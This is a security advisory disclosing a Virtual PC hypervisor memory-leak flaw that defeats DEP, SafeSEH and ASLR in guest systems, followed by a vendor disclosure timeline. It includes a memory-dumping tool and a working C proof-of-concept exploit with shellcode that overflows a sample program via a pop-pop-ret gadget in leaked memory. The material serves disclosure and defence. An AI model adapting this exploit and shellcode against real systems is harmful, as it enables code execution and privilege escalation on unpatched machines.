954 lines
No EOL
36 KiB
Text
954 lines
No EOL
36 KiB
Text
-----BEGIN PGP SIGNED MESSAGE-----
|
|
Hash: SHA1
|
|
|
|
Core Security Technologies - CoreLabs Advisory
|
|
http://www.coresecurity.com/corelabs/
|
|
|
|
Virtual PC Hypervisor Memory Protection Vulnerability
|
|
|
|
|
|
|
|
1. *Advisory Information*
|
|
|
|
Title: Virtual PC Hypervisor Memory Protection Vulnerability
|
|
Advisory Id: CORE-2009-0803
|
|
Advisory URL:
|
|
http://www.coresecurity.com/content/virtual-pc-2007-hypervisor-memory-protection-bug
|
|
Date published: 2010-03-16
|
|
Date of last update: 2010-03-16
|
|
Vendors contacted: Microsoft
|
|
Release mode: User release
|
|
|
|
|
|
|
|
2. *Vulnerability Information*
|
|
|
|
Class: Improper Access Control [CWE-285]
|
|
Impact: Security bypass
|
|
Remotely Exploitable: No
|
|
Locally Exploitable: Yes
|
|
Bugtraq ID: 38764
|
|
CVE Name: N/A
|
|
|
|
|
|
|
|
3. *Vulnerability Description*
|
|
|
|
Windows Virtual PC and Microsoft Virtual PC 2007 are system
|
|
virtualization desktop applications from Microsoft used to run one or
|
|
many virtual hosts on a single physical system. Windows 7 relies on
|
|
Virtual PC technology to implement the backward compatibility XP Mode
|
|
for legacy Windows applications. Using XP Mode, Windows 7 users can run
|
|
Windows applications on a virtualized Windows XP SP3 operating system
|
|
directly from the Windows 7 desktop but in doing so they may be
|
|
inadvertently increasing their risk due to a bug that makes standard
|
|
Windows anti-exploitation mechanisms ineffective.
|
|
|
|
A vulnerability found in the memory management of the Virtual Machine
|
|
Monitor makes memory pages mapped above the 2GB available with read or
|
|
read/write access to user-space programs running in a Guest operating
|
|
system. By leveraging this vulnerability it is possible to bypass
|
|
security mechanisms of the operating system such as Data Execution
|
|
Prevention (DEP) [1], Safe Structured Error Handling (SafeSEH) [2] and
|
|
Address Space Layout Randomization (ASLR) [3] designed to prevent
|
|
exploitation of security bugs in applications running on Windows
|
|
operation systems.
|
|
|
|
Thus applications with bugs that are not exploitable when running in
|
|
non-virtualized operating systems become exploitable if running within a
|
|
guest OS of Virtual PC. In particular, an application running on Windows
|
|
7 in XP Mode may be exploitable while the same application running
|
|
directly on a Windows XP SP3 system is not.
|
|
|
|
Additionally, software bugs that normally may not be considered
|
|
security-relevant and therefore not prioritized for the development or
|
|
deployment of fixes may suddenly become unpatched and exploitable
|
|
security bugs in the context of this vulnerability.
|
|
|
|
The vulnerability can be exploited locally within a virtualized system
|
|
to escalate privileges or remotely for code execution in combination
|
|
with any client-side bug for which existing patches have not been
|
|
applied or with any client-side bug for which a fix has not been
|
|
developed after dismissing the bug as not exploitable or of low
|
|
priority. The vulnerability does not seem usable to escape from a
|
|
virtualized OS (guest) to execute code in the context of the
|
|
non-virtualized OS (host). Use of the vulnerability to implement covert
|
|
inter-process communications within the virtualized OS or to establish
|
|
inter-VM communication have not been researched in full but are deemed
|
|
possible.
|
|
|
|
|
|
4. *Vulnerable packages*
|
|
|
|
. Virtual PC 2007
|
|
. Virtual PC 2007 SP1
|
|
. Windows Virtual PC
|
|
. Virtual Server 2005
|
|
. Virtual Server 2005 R2 SP1
|
|
|
|
|
|
5. *Non-vulnerable packages*
|
|
|
|
. Microsoft virtualization products that are based on Hyper-V technology.
|
|
|
|
|
|
6. *Vendor Information, Solutions and Workarounds*
|
|
|
|
This issue was reported to Microsoft in August 2009. The vendor has
|
|
acknowledged the report and after extensive analysis indicated that it
|
|
plans to solve the problem in future updates to the associated products.
|
|
|
|
We recommend affected users to run all mission critical Windows
|
|
applications on non-virtualized systems or to use virtualization
|
|
technologies that aren't affected by this bug. Windows operating systems
|
|
and applications that must run virtualized using Virtual PC technologies
|
|
should be kept at the highest patch level possible and monitored to
|
|
detect exploitation attempts.
|
|
|
|
|
|
7. *Credits*
|
|
|
|
This vulnerability was discovered by Nicolas Economou from Core Security
|
|
Technologies. Technical analysis and proof-of-concept tools were
|
|
developed by Nicolas Economou and Diego Juarez from Core's Exploit
|
|
Writers Team.
|
|
|
|
|
|
8. *Technical Description / Proof of Concept Code*
|
|
|
|
Operating systems based on Microsoft Windows NT technologies provide a
|
|
flat 32-bit virtual address space that describes 4 gigabytes of virtual
|
|
memory to 32-bit processes. This address space is used by the process to
|
|
map its executable code and the data that it uses during its runtime.
|
|
For performance and efficiency reasons the process address space is
|
|
usually split so that 2 GB of address space are directly accessible by
|
|
the user-mode application process and the other 2 GB are used to map the
|
|
code and data of the operating system and only accessible to kernel code
|
|
[4]. Any attempts from a user-space process to dereference and use
|
|
memory contents mapped at addresses above the 2GB boundary will trigger
|
|
an exception and terminate the offending process.
|
|
|
|
In some versions of 32-bit Windows operating systems it is possible to
|
|
configure the OS to provide applications with a 3GB flat virtual address
|
|
space but nonetheless the remaining portion is not accessible to
|
|
user-mode processes.
|
|
|
|
In Microsoft Virtual PC and Windows Virtual PC, the Virtual Machine
|
|
Monitor (VMM) is responsible for mediating access to hardware resources
|
|
and devices from operating systems running in a virtualized environment.
|
|
The transparency and efficiency of this mediation layer is one of the
|
|
core characteristics of modern virtualization technologies. In this
|
|
context, to maintain an equivalent level of risk for the same
|
|
application independently of whether it is running on a virtualized or a
|
|
non-virtualized environment, the OS hardening and anti-exploitation
|
|
mechanisms of a Windows operating system running directly on hardware
|
|
should have the exact same effectiveness and efficiency when the OS runs
|
|
on virtualized HW as when it runs on a Guest OS.
|
|
|
|
A vulnerability found in the Virtual PC hypervisor invalidates this
|
|
assumption and undermines the effectiveness of anti-exploitation
|
|
mechanisms such as DEP, SafeSEH and ASLR. Incorrect memory management by
|
|
the VMM of Virtual PC makes portions of the VMM worker memory available
|
|
for read or read/write access to user-space processes running in a Guest
|
|
OS. Leaked memory pages are mapped on the Guest OS at virtual addresses
|
|
above the 2GB limit which shouldn't be accessible for user-space programs.
|
|
|
|
The 'vpdumper' tool can be used to demonstrate the problem.
|
|
|
|
/-----
|
|
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <ctype.h>
|
|
|
|
#define ROWS 16
|
|
|
|
void find_leaked_memory ( void );
|
|
void print_data ( unsigned int , char * , unsigned int );
|
|
|
|
int main ( void )
|
|
{
|
|
/* message for users */
|
|
printf ( "\n*********** vpdumper.exe ***********" );
|
|
printf ( "\nCreated by Nicolas A. Economou ( neconomou () corest com )" );
|
|
printf ( "\nCore Security Technologies, Buenos Aires, Argentina (
|
|
2010 )\n" );
|
|
|
|
/* Search and Print leaked memory */
|
|
printf ( "\nsearching leaked memory\n" );
|
|
find_leaked_memory ();
|
|
|
|
return ( 1 );
|
|
}
|
|
|
|
void find_leaked_memory ( void )
|
|
{
|
|
char buffer [ 0x1000 ];
|
|
char *base;
|
|
int r, w;
|
|
|
|
/* search the high address memory area */
|
|
for ( base = ( char * ) 0x80000000 ; base < ( char * )
|
|
0xfffff000 ; base += 0x1000 )
|
|
{
|
|
/* Dark Area */
|
|
if ( ( unsigned int ) base == 0xe839c000 )
|
|
{
|
|
continue;
|
|
}
|
|
|
|
/* Inicialize flags */
|
|
r = FALSE;
|
|
w = FALSE;
|
|
|
|
/* check readable */
|
|
if ( IsBadReadPtr ( base , 1 ) == FALSE )
|
|
{
|
|
/* set flag */
|
|
r = TRUE;
|
|
}
|
|
/* check writeable */
|
|
if ( IsBadWritePtr ( base , 1 ) == FALSE )
|
|
{
|
|
/* set flag */
|
|
w = TRUE;
|
|
}
|
|
/* if readable or writeable */
|
|
if ( r == TRUE || w == TRUE )
|
|
{
|
|
/* get contents into our buffer */
|
|
memcpy ( buffer , base , 0x1000 );
|
|
|
|
/* print page attributes */
|
|
printf ( "attributes: " );
|
|
printf ( "%s" , ( r == TRUE ) ? "R":"" );
|
|
printf ( "%s" , ( w == TRUE ) ? "W":"" );
|
|
printf ( "\n" );
|
|
|
|
/* print the memory */
|
|
print_data ( ( unsigned int ) base , buffer , 0x1000 );
|
|
}
|
|
}
|
|
}
|
|
|
|
void print_data ( unsigned int direccion , char *buffer , unsigned int
|
|
bytes_a_imprimir )
|
|
{
|
|
unsigned int cont;
|
|
unsigned int i;
|
|
|
|
/* Imprimo las lineas encontradas */
|
|
for ( cont = 0 ; cont < bytes_a_imprimir ; cont = cont + ROWS )
|
|
{
|
|
/* Imprimo la direccion de la memoria */
|
|
printf ( "%.8x | " , direccion );
|
|
|
|
/* Incremento la direccion a mostrar */
|
|
direccion = direccion + ROWS;
|
|
|
|
/* Imprimo en hexa */
|
|
for ( i = 0 ; i < ROWS ; i ++ )
|
|
{
|
|
/* Imprimo la cantidad que pedi */
|
|
if ( i < ( bytes_a_imprimir - cont ) )
|
|
{
|
|
printf ( "%.2x " , ( unsigned char ) buffer [ i + cont ] );
|
|
}
|
|
else
|
|
{
|
|
printf ( " " );
|
|
}
|
|
}
|
|
/* Espacio entre las 2 columnas */
|
|
printf ( "| " );
|
|
/* Imprimo en caracteres */
|
|
for ( i = 0 ; i < ROWS ; i ++ )
|
|
{
|
|
if ( i < ( bytes_a_imprimir - cont ) )
|
|
{
|
|
printf ( "%c" , ( isgraph ( buffer [ i + cont ] ) ) ? buffer [ i
|
|
+ cont ] : '.' );
|
|
}
|
|
else
|
|
{
|
|
printf ( " " );
|
|
}
|
|
}
|
|
/* Fin de linea */
|
|
printf ( "\n" );
|
|
}
|
|
}
|
|
|
|
- -----/
|
|
|
|
|
|
As a result of the vulnerability, Windows bugs generally considered to
|
|
be not exploitable may become exploitable when occurring on an
|
|
application running on a Virtual PC Guest OS. As an example, the 'abo2'
|
|
exercise from gera's Insecure Programming by Example[5] is shown below.
|
|
|
|
/-----
|
|
|
|
/* abo2.c *
|
|
* specially crafted to feed your brain by gera */
|
|
|
|
/* This is a tricky example to make you think *
|
|
* and give you some help on the next one */
|
|
|
|
int main(int argv,char **argc) {
|
|
char buf[256];
|
|
|
|
strcpy(buf,argc[1]);
|
|
exit(1);
|
|
}
|
|
|
|
- -----/
|
|
|
|
|
|
While 'abo2' is generally considered not exploitable on Windows
|
|
operating systems the 'vp_abo2_launcher'[6] proof-of-concept tool shown
|
|
below demonstrates that it is indeed exploitable when running in Windows
|
|
XP Mode on Windows 7 or an Windows XP SP3 or Windows Vista guest OS in
|
|
Virtual PC.
|
|
|
|
/-----
|
|
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <process.h>
|
|
|
|
/****************************************************************************/
|
|
|
|
unsigned int get_pop_pop_ret ( char );
|
|
int is_pattern ( unsigned char * , unsigned int , unsigned int * );
|
|
|
|
/****************************************************************************/
|
|
|
|
char get_code_address [] = ""
|
|
"\xe8\xff\xff\xff\xff\xf0" // "call $-1"
|
|
"\x58" // "pop eax"
|
|
"\x58" // "pop eax"
|
|
"\xeb\x0a" // "jmp $+10"
|
|
"calc.exe\x01\x01" // process
|
|
"\x04\x05" // "add al,5"
|
|
"\xfe\x48\x08"; // "dec byte ptr [eax+0x09]"
|
|
|
|
char call_to_winexec [] = ""
|
|
"\xbb\x33\x33\x33\x33" // "mov ebx,WinExec"
|
|
"\x6a\x01" // "push 1"
|
|
"\x50" // "push eax"
|
|
"\xff\xd3"; // "call ebx"
|
|
|
|
char call_to_exit [] = ""
|
|
"\xbb\x33\x33\x33\x33" // "mov ebx,ExitProcess"
|
|
"\x6a\x01" // "push 1"
|
|
"\xff\xd3"; // "call ebx"
|
|
|
|
/****************************************************************************/
|
|
|
|
void main ( int argc , char *argv [] )
|
|
{
|
|
char shellcode [ 1024 ];
|
|
char buffer [ 1024 ];
|
|
char *args [ 3 ];
|
|
unsigned int exit_process;
|
|
unsigned int address;
|
|
unsigned int winexec;
|
|
|
|
/* check parameters */
|
|
if ( argc != 3 || ( ( strcmp ( argv [ 1 ] , "r" ) != 0 && strcmp (
|
|
argv [ 1 ] , "w" ) != 0 ) ) )
|
|
{
|
|
printf ( "\nuse: vp_abo2_launcher <r|w> abo2.exe\n" );
|
|
printf ( "- option r: search a pop-pop-ret in the leaked memory\n" );
|
|
printf ( "- option w: write a pop-pop-ret in the first writeable
|
|
leaked page\n" );
|
|
printf ( "\nCreated by Nicolas A. Economou ( neconomou () corest com )" );
|
|
printf ( "\nCore Security Technologies, Buenos Aires, Argentina (
|
|
2010 )\n" );
|
|
return;
|
|
}
|
|
|
|
/* search for a pop-pop-ret */
|
|
printf ( "\nsearching pop-pop-rets " );
|
|
address = get_pop_pop_ret ( *argv [ 1 ] );
|
|
|
|
/* if nothing is found... */
|
|
if ( address == 0 )
|
|
{
|
|
/* stop the search */
|
|
printf ( "\nERROR: pop-pop-ret not found\n" );
|
|
return;
|
|
}
|
|
|
|
/* print found pop-pop-ret address */
|
|
printf ( "\npop-pop-ret found at %x\n" , address );
|
|
|
|
/* Resolve WinExec address */
|
|
winexec = ( unsigned int ) GetProcAddress ( GetModuleHandle (
|
|
"kernel32.dll" ) , "WinExec" );
|
|
memcpy ( &call_to_winexec [ 1 ] , &winexec , sizeof ( unsigned int ) );
|
|
|
|
/* Resolve ExitProcess address */
|
|
exit_process = ( unsigned int ) GetProcAddress ( GetModuleHandle (
|
|
"kernel32.dll" ) , "ExitProcess" );
|
|
memcpy ( &call_to_exit [ 1 ] , &exit_process , sizeof ( unsigned int ) );
|
|
|
|
/* build up shellcode */
|
|
sprintf ( shellcode , "%s%s%s" , get_code_address , call_to_winexec ,
|
|
call_to_exit );
|
|
|
|
/* buffer init */
|
|
memset ( buffer , 0 , 1024 );
|
|
|
|
/* build the buffer */
|
|
memset ( buffer , '\x90' , 0x124 );
|
|
memcpy ( buffer , shellcode , strlen ( shellcode ) );
|
|
strcat ( buffer , "\x90\x90\xeb\x04" );
|
|
strncat ( buffer , ( char * ) &address , 4 );
|
|
strcat ( buffer , "\xe9\xcf\xfe\xff\xff" );
|
|
strcat ( buffer ,
|
|
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
|
|
);
|
|
|
|
/* launch abo2 */
|
|
printf ( "launching abo2.exe ...\n" );
|
|
args [ 0 ] = argv [ 2 ];
|
|
args [ 1 ] = buffer;
|
|
args [ 2 ] = NULL;
|
|
execv ( argv [ 2 ] , &args );
|
|
|
|
printf ( "done\n" );
|
|
}
|
|
|
|
/****************************************************************************/
|
|
|
|
unsigned int get_pop_pop_ret ( char option )
|
|
{
|
|
char buffer [ 0x1000 ];
|
|
unsigned int address = 0;
|
|
char *base;
|
|
int r, w;
|
|
|
|
/* search the high address memory area */
|
|
for ( base = ( char * ) 0x80000000 ; base < ( char * ) 0xfffff000 ;
|
|
base += 0x1000 )
|
|
{
|
|
/* Dark Area */
|
|
if ( ( unsigned int ) base == 0xe839c000 )
|
|
{
|
|
continue;
|
|
}
|
|
|
|
/* show some progress */
|
|
if ( ( ( unsigned int ) base % 0x1000000 ) == 0 )
|
|
{
|
|
printf ( "." );
|
|
}
|
|
|
|
/* Inicialize flags */
|
|
r = FALSE;
|
|
w = FALSE;
|
|
|
|
/* check readable */
|
|
if ( IsBadReadPtr ( base , 1 ) == FALSE )
|
|
{
|
|
/* set flag */
|
|
r = TRUE;
|
|
}
|
|
|
|
/* check writeable */
|
|
if ( IsBadWritePtr ( base , 1 ) == FALSE )
|
|
{
|
|
/* set flag */
|
|
w = TRUE;
|
|
}
|
|
|
|
/* if searching for readable area */
|
|
if ( option == 'r' )
|
|
{
|
|
/* if readable */
|
|
if ( r == TRUE )
|
|
{
|
|
/* get contents into our buffer */
|
|
memcpy ( buffer , base , 0x1000 );
|
|
|
|
/* pattern search */
|
|
is_pattern ( ( unsigned char * ) buffer , ( unsigned int ) base
|
|
, &address );
|
|
}
|
|
}
|
|
/* if searching for writeable */
|
|
else if ( option == 'w' )
|
|
{
|
|
/* if area is writeable */
|
|
if ( w == TRUE )
|
|
{
|
|
/* write a pop-pop-ret */
|
|
memcpy ( base + 0x10 , "\x58\x58\xc3" , 3 );
|
|
|
|
/* return address + 0x10 ( to avoid a zero in the address ) */
|
|
address = ( unsigned int ) base + 0x10;
|
|
}
|
|
}
|
|
|
|
/* if a matching address is found */
|
|
if ( address != 0 )
|
|
{
|
|
/* if the address contains a zero ( INVALID CHAR ) */
|
|
if ( ( ( address & 0x00ff0000 ) == 0 ) || ( ( address & 0x0000ff00
|
|
) == 0 ) || ( ( address & 0x000000ff ) == 0 ) )
|
|
{
|
|
/* keep searching */
|
|
address = 0;
|
|
}
|
|
/* if no zeroes */
|
|
else
|
|
{
|
|
/* stop searching */
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
return ( address );
|
|
}
|
|
|
|
/****************************************************************************/
|
|
|
|
int is_pattern ( unsigned char *buffer , unsigned int base , unsigned
|
|
int *address )
|
|
{
|
|
unsigned int cont;
|
|
int ret = FALSE;
|
|
|
|
/* search the memory area */
|
|
for ( cont = 0 ; cont < 0x1000 - 3 ; cont ++ )
|
|
{
|
|
/* if I get a "POP" */
|
|
if ( ( buffer [ cont + 0 ] >= 0x58 ) && ( buffer [ cont + 0 ] <=
|
|
0x5f ) )
|
|
{
|
|
/* if I get another "POP" */
|
|
if ( ( buffer [ cont + 1 ] >= 0x58 ) && ( buffer [ cont + 1 ] <=
|
|
0x5f ) )
|
|
{
|
|
/* if I get a "RET" or "RET n" */
|
|
// if ( ( buffer [ cont + 2 ] == 0xc2 ) || ( buffer [ cont + 2 ]
|
|
== 0xc3 ) )
|
|
if ( buffer [ cont + 2 ] == 0xc3 )
|
|
{
|
|
/* return the address */
|
|
*address = base + cont;
|
|
|
|
/* return TRUE ( pattern found ) */
|
|
ret = TRUE;
|
|
|
|
/* stop search */
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return ( ret );
|
|
}
|
|
|
|
- -----/
|
|
|
|
|
|
To verify this vulnerability with a real-world example, we have
|
|
investigated the Sun Java System Webserver WebDAV remote buffer overflow
|
|
vulnerability disclosed in January 2010 [7]. The bug was proved
|
|
exploitable reliably [8] on DEP enabled systems running as Guest OS on
|
|
Virtual PC.
|
|
|
|
Use of the Virtual PC memory protection bug to bypass anti-exploitation
|
|
mechanisms of the Guest OS is just one security relevant use case.
|
|
Leveraging read access to leaked memory to obtain confidential or
|
|
otherwise sensitive information and/or use of write access to leaked
|
|
memory pages to establish a communication channel with another Guest OS
|
|
are other potential attacks that were not investigated.
|
|
|
|
|
|
9. *Report Timeline*
|
|
|
|
. 2009-08-19:
|
|
Core Security Technologies notifies the Microsoft team of the
|
|
vulnerability and sends a brief technical report.
|
|
|
|
. 2009-08-19:
|
|
The Microsoft team acknowledges the vulnerability report.
|
|
|
|
. 2009-08-26:
|
|
The Microsoft team requests some proof of concept code and the version
|
|
of the 'vmm.sys' file affected. Also requests information about whether
|
|
Hardware Assisted Virtualization (HAV) is active or not when triggering
|
|
the bug.
|
|
|
|
. 2009-08-27:
|
|
Core Security Technologies sends the Microsoft team the information
|
|
requested. The vulnerability was triggered on Virtual PC SP1 with and
|
|
without HAV, using a Windows XP SP2 guest OS over a Windows XP SP3 host OS.
|
|
|
|
. 2009-09-08:
|
|
MSRC acknowledges Core email.
|
|
|
|
. 2009-09-08:
|
|
Vendor says that it is still investigating the bug and will have more
|
|
concrete details in a few days.
|
|
|
|
. 2009-09-14:
|
|
Core Security Technologies acknowledges receipt and says it will be in
|
|
touch to coordinate the publication date and the bug details.
|
|
|
|
. 2009-09-16:
|
|
Vendor says that they are still investigating the issue since it is a
|
|
very complex one with many dependencies. The vendor confirms the
|
|
vulnerability reproduction code is working and that they are assessing
|
|
the impact for both guest and host machines.
|
|
|
|
. 2009-10-06:
|
|
Core Security Technologies requests an update on the issue. Core
|
|
Security Technologies also notifies the Vendor that November 16th is the
|
|
scheduled publication date but reminds that the date can be coordinated
|
|
with the vendor.
|
|
|
|
. 2009-10-08:
|
|
MSRC says that it is looking at the issue with priority, confirmed the
|
|
findings using the provided proof-of-concept tool but it is still
|
|
assessing the risks and will be back in touch in the next few days.
|
|
|
|
. 2009-10-28:
|
|
MSRC asks if Core Security Technologies has been able to exploit the
|
|
issue to achieve either a denial of service attack on either the guest
|
|
or host OS or managed to elevate privileges on the system.
|
|
|
|
. 2009-10-28:
|
|
Core replies that the ways to abuse access to the leaked memory have not
|
|
been investigated but that the bug seemed relevant enough to report it
|
|
as a security issue. Exploitation for specific purposes would require
|
|
further work and Core Security Technologies may do it but it was not
|
|
deemed a pre-requisite to report the bug to MSRC. Core asks the vendor
|
|
if they have any findings that rules out exploitation for privilege
|
|
escalation and denial of service attacks.
|
|
|
|
. 2009-11-04:
|
|
Status update from MSRC saying that the investigation into the issue was
|
|
concluded. The issue was successfully identified with the PoC provided
|
|
by Core. After extensive review it was determined that all the memory
|
|
locations identified by the tool fall within the work area of the
|
|
Virtual Machine Monitor. The findings are that the contents of the RW
|
|
pages are not trusted by Virtual PC and overwritten before use and that
|
|
RO pages are not sensitive and do not expose either OS or user data. The
|
|
investigation concluded that the memory areas accessible from the guest
|
|
cannot be leveraged to achieve either remote code execution or elevation
|
|
of privilege and that no data from the host is exposed to the guest OS.
|
|
MSRC asks if Core disagrees with the assessment and whether there are
|
|
any other concerns that have not been addressed.
|
|
|
|
. 2009-11-04:
|
|
Core replies that the discoverer did further research into this issue
|
|
since the last communication and agrees with the assessment that the
|
|
leaked pages are part of the VMM work area. With regards to any other
|
|
concerns regarding the issue Core says that it is in the process of
|
|
preparing proof-of-concept code that demonstrates how standard
|
|
anti-exploitation mechanisms of Windows operating systems can be
|
|
circumvented with shellcode that returns into the memory pages leaked by
|
|
the VMM which would make exploitation of bugs in the guest OS much
|
|
easier than in the non-virtualized equivalent. Core believes that is
|
|
enough to qualify the issue as a legitimate security bug that requires
|
|
issuance of a fix and a corresponding security bulletin, particularly if
|
|
its determined that the example case is also applicable to Windows 7 XP
|
|
Mode. Core indicates that it will follow up within a week and reminds
|
|
MSRC that it is still considering a security bug and maintaining its
|
|
plan to publish a security advisory about it.
|
|
|
|
. 2009-11-09:
|
|
Core says that it identified a way in which the bug can be leveraged to
|
|
circumvent SafeSEH and DEP by using shellcode that jumps to a sequence
|
|
of POP-POP-RET instructions to be found anywhere in the leaked pages.
|
|
This makes it possible and much easier to exploit bugs on virtualized
|
|
systems than on those that aren't virtualized. A proof of concept
|
|
exploit for the abo2 exercise is provided, the same techniques were
|
|
tested and verified to work on Windows 7 XP Mode. Core asks if this
|
|
scenario meets the vendor's criteria for a vulnerability that requires a
|
|
fix and a security bulletin release.
|
|
|
|
. 2009-11-09:
|
|
MSRC acknowledges reception of the new details and PoC and says that it
|
|
was passed to the product team to reproduce the bug and that they will
|
|
get back in touch soon.
|
|
|
|
. 2009-11-12:
|
|
MSRC says that it agrees about the seriousness of the issue and that it
|
|
has now involved the team responsible for the anti-exploitation
|
|
mechanisms to assess it correctly. The next estimated time for a status
|
|
update is November 18 and therefore ask Core to confirm that its not
|
|
planning to publish the security advisory on November 16.
|
|
|
|
. 2009-11-12:
|
|
Core Security Technologies replies that it has re-scheduled publication
|
|
to the second Tuesday of December 2009 (December 8) and may discuss
|
|
further postponements once MSRC provides more details about the bug and
|
|
the plan to fix it. Core notes that it provided only one possible
|
|
exploitation scenario and did not investigate others because it seemed
|
|
that a single example was sufficient to explain the implied risks.
|
|
|
|
. 2009-11-12:
|
|
MSRC acknowledges receipt of previous mail.
|
|
|
|
. 2009-11-19:
|
|
MSRC status update explains there is no new information available, and
|
|
that discussion about how to address the bug still ongoing.
|
|
|
|
. 2009-11-19:
|
|
Core says that in a separate ongoing case MSRC had dismissed all
|
|
variants of an unrelated MS Excel vulnerability in BIFF file formats
|
|
reported in CORE-2009-0827 as not relevant to security because it can
|
|
only be triggered to cause a copy operation from memory locations above
|
|
3GB which would terminate the application without any possibility for
|
|
exploitation. The assumption that accesses to memory addresses above 3GB
|
|
will simply terminate the process is no longer valid in the context of
|
|
the Virtual PC hypervisor bug and thus this may outline another scenario
|
|
for exploitation of bugs that may have been deemed unexploitable before
|
|
and for which it is probable that fixes have not been developed.
|
|
|
|
. 2009-11-12:
|
|
MSRC acknowledges receipt of previous mail. Will provide additional
|
|
conclusions to the team for analysis.
|
|
|
|
. 2009-12-04:
|
|
MSRC says that it didn't identify any way to leverage the Virtual PC bug
|
|
to make exploitation of the Excel BIFF bug possible. According to the
|
|
vendor's engineering team the exposed memory pages have no influence on
|
|
the exploitability of the reported bug in Excel. The bug reported in
|
|
Excel was deemed not exploitable at all not because of a defense in
|
|
depth mechanism but to a hard boundary, MSRC asks for more details or
|
|
PoC that demonstrate that the bug may be exploitable. However, the
|
|
Virtual PC bug is still being reviewed and to make sure that it is
|
|
considered appropriately the vendors asks Core to postpone publication
|
|
of the advisory for an additional month. The vendor is still under the
|
|
impression that this is an issue to be considered for a service pack and
|
|
that it is lacking information to warrant a security bulletin.
|
|
|
|
. 2009-12-07:
|
|
Core reiterates that the original report provided a sample program
|
|
(abo2) deemed not exploitable under normal conditions that becomes
|
|
exploitable when running within a Virtual PC guest and that the analysis
|
|
used to dismiss the Excel bug as not exploitable was based on the fact
|
|
that attempts to perform read operations to memory addresses above the
|
|
3GB boundary cannot be used for anything but to terminate the offending
|
|
process. Core pointed out that the Virtual PC bug invalidates the
|
|
premise of that analysis and thus the conclusions should not longer be
|
|
considered an indisputable truth. Furthermore, since many organizations
|
|
currently rolling out Windows 7 may be relying on XP Mode to maintain
|
|
compatibility with XP applications and that in doing so they may be
|
|
inadvertently weakening their security posture in Core's view this
|
|
warrants the need for a security bulletin and corresponding security
|
|
patch. Accordingly Core has set the publication date for the Virtual PC
|
|
advisory to the 2nd Tuesday of February and will not change it unless
|
|
new information or a change in the vendor's stance occurs. If the vendor
|
|
does not consider it a security issue then Core would rather publish the
|
|
security bulletin without an official patch rather than have its
|
|
publication contingent on the release cycle of a service pack at some
|
|
undetermined time in the future.
|
|
|
|
. 2009-12-31:
|
|
MSRC acknowledges receipt of previous mail and indicates that it will
|
|
follow up on January 8th 2010 with a final decision on how it is
|
|
planning to tackle the issue.
|
|
|
|
. 2010-01-11:
|
|
Vendor says that it has completed the investigation of the Virtual PC
|
|
issue. It agrees with Core's conclusions. The bug has two implications:
|
|
1) It allows an attacker to bypass DEP and SafeSEH. However as these are
|
|
defense in depth mechanisms it would not be sufficient to issue a
|
|
security bulletin. 2) In specific limited conditions it causes
|
|
vulnerabilities that were deemed not exploitable to become exploitable.
|
|
This does break a security boundary and it is something that needs to be
|
|
addressed. Addressing the issue will require substantial work in Virtual
|
|
PC and Virtual Server code and has a significant wider scoped fix with
|
|
high application compatibility impact. The VPC team is assessing the
|
|
workload required to address the issue. MSRC will get back to Core on
|
|
February 2nd 2010 with an update.
|
|
|
|
. 2010-01-11:
|
|
Core acknowledges receipt of previous mail. Core asks if the vendor is
|
|
still considering that the issue does not merit a security bulletin. If
|
|
the answer is positive, Core will proceed with the publication of its
|
|
advisory according to plan. If the answer is negative Core may decide to
|
|
delay its publication depending on the vendor's estimate for a patch
|
|
release date that Core expects to receive on the next scheduled status
|
|
update. Core asks for clarifications about the vendor's mention to high
|
|
application compatibility impact.
|
|
|
|
. 2010-02-03:
|
|
Core asks for a status update
|
|
|
|
. 2010-02-03:
|
|
MSRC acknowledges receipt of previous email, will get back within the
|
|
next 48 hours.
|
|
|
|
. 2010-02-03:
|
|
Core acknowledges receipt of previous email, reminds that advisory
|
|
publication is scheduled for Feb. 9 and requests confirmation that
|
|
Virtual Server is also affected.
|
|
|
|
. 2010-02-05:
|
|
MSRC acknowledges receipt of previous email, says that the team is still
|
|
running into issues finding the best way to address the vulnerability.
|
|
The team has not found a satisfactory way of resolving the issue without
|
|
large application compatibility repercussions. Vendor asks Core to
|
|
postpone publication for an additional two weeks of time to involve
|
|
additional people in an attempt to find a good way to address the problem.
|
|
|
|
. 2010-02-05:
|
|
Core agrees to postpone publication of the security advisory for a month
|
|
and re-sets the publication date to March 2, 2010. Core says that it
|
|
will need answers to 4 items in order to revisit the current deadline
|
|
again: 1- The vendor's agreement that this is a security issue that will
|
|
be resolved with a security fix and the corresponding security bulletin.
|
|
2- An up to date and complete list of affected platforms (having just
|
|
recently learned that Virtual Server is also affected). 3- A clear
|
|
technical description of the origin and root cause of the problem. 4- A
|
|
plan with a reasonable estimate for a fix release date. While Core
|
|
understands that the vulnerability is complex and difficult to fix it is
|
|
also aware that the ongoing adoption and deployment of Windows 7 makes
|
|
the knowledge of the risks associated to migrating execution of Windows
|
|
XP applications to the XP Mode virtualized environment critical to
|
|
security-conscious organizations that need to make informed decisions
|
|
about their IT security risk. The growth rate of the installed base of
|
|
Virtual PC technology resulting from the increased adoption of Windows 7
|
|
makes this an increasingly bigger problem as more time passes.
|
|
|
|
. 2010-02-25:
|
|
MSRC indicates that having thoroughly reviewed the issue over the past
|
|
weeks the issue is still considered to only meet the bar as "a defense
|
|
in deep issue" and reiterates the conclusions stated in the previous
|
|
vendor email. The vendor says that the current plan is to consider
|
|
mitigating the issue in a future release of the affected products and
|
|
asks to receive the final version of Core advisory before it is
|
|
published to corroborate that it matches their understanding of the issue.
|
|
|
|
. 2010-03-03:
|
|
MSRC requests a status update
|
|
|
|
. 2010-03-03:
|
|
Core replies that its still working on gathering more details to
|
|
finalize the final draft of the advisory and that as soon as that work
|
|
is completed it will be published. Core is currently working on two
|
|
tacks: 1- Identifying the root cause of the problem to have a more clear
|
|
understanding of the effects and potential mitigations other than
|
|
recommending users simply to not use Virtual PC. 2- Identifying cases of
|
|
previously disclosed vulnerabilities that would be more easily
|
|
exploitable running in a Virtual PC guest OS. As soon as any of those
|
|
two tacks yields usable results the advisory will be completed and
|
|
published. The publication date is estimated for within 15 days.
|
|
|
|
. 2010-03-10:
|
|
Core status update to MSRC, publication set for Tuesday March 16th.
|
|
